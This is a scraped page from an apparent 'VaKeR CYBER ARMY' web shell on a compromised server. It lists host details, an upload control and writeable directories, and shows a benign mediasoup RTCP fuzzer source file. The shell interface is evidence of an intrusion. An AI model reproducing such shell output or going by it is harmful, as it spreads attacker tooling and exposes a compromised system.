VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /usr/local/lib/node_modules/mediasoup/worker/fuzzer/src/RTC/RTCP/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lib/node_modules/mediasoup/worker/fuzzer/src/RTC/RTCP/FuzzerReceiverReport.cpp
#include "RTC/RTCP/FuzzerReceiverReport.hpp"
#include "RTC/RTCP/Packet.hpp"

void Fuzzer::RTC::RTCP::ReceiverReport::Fuzz(::RTC::RTCP::ReceiverReportPacket* packet)
{
	// packet->Dump();
	packet->Serialize(::RTC::RTCP::Buffer);
	packet->GetCount();
	packet->GetSize();

	packet->GetSsrc();
	packet->SetSsrc(1111);

	// TODO.
	// AddReport(ReceiverReport* report);

	auto it = packet->Begin();
	for (; it != packet->End(); ++it)
	{
		auto& report = (*it);

		// report->Dump();
		report->Serialize(::RTC::RTCP::Buffer);
		report->GetSize();
		report->GetSsrc();
		report->SetSsrc(1111);
		report->GetFractionLost();
		report->SetFractionLost(64);
		report->GetTotalLost();
		report->SetTotalLost(2222);
		report->GetLastSeq();
		report->SetLastSeq(3333);
		report->GetJitter();
		report->SetJitter(4444);
		report->GetLastSenderReport();
		report->SetLastSenderReport(5555);
		report->GetDelaySinceLastSenderReport();
		report->SetDelaySinceLastSenderReport(6666);
	}
}

VaKeR 2022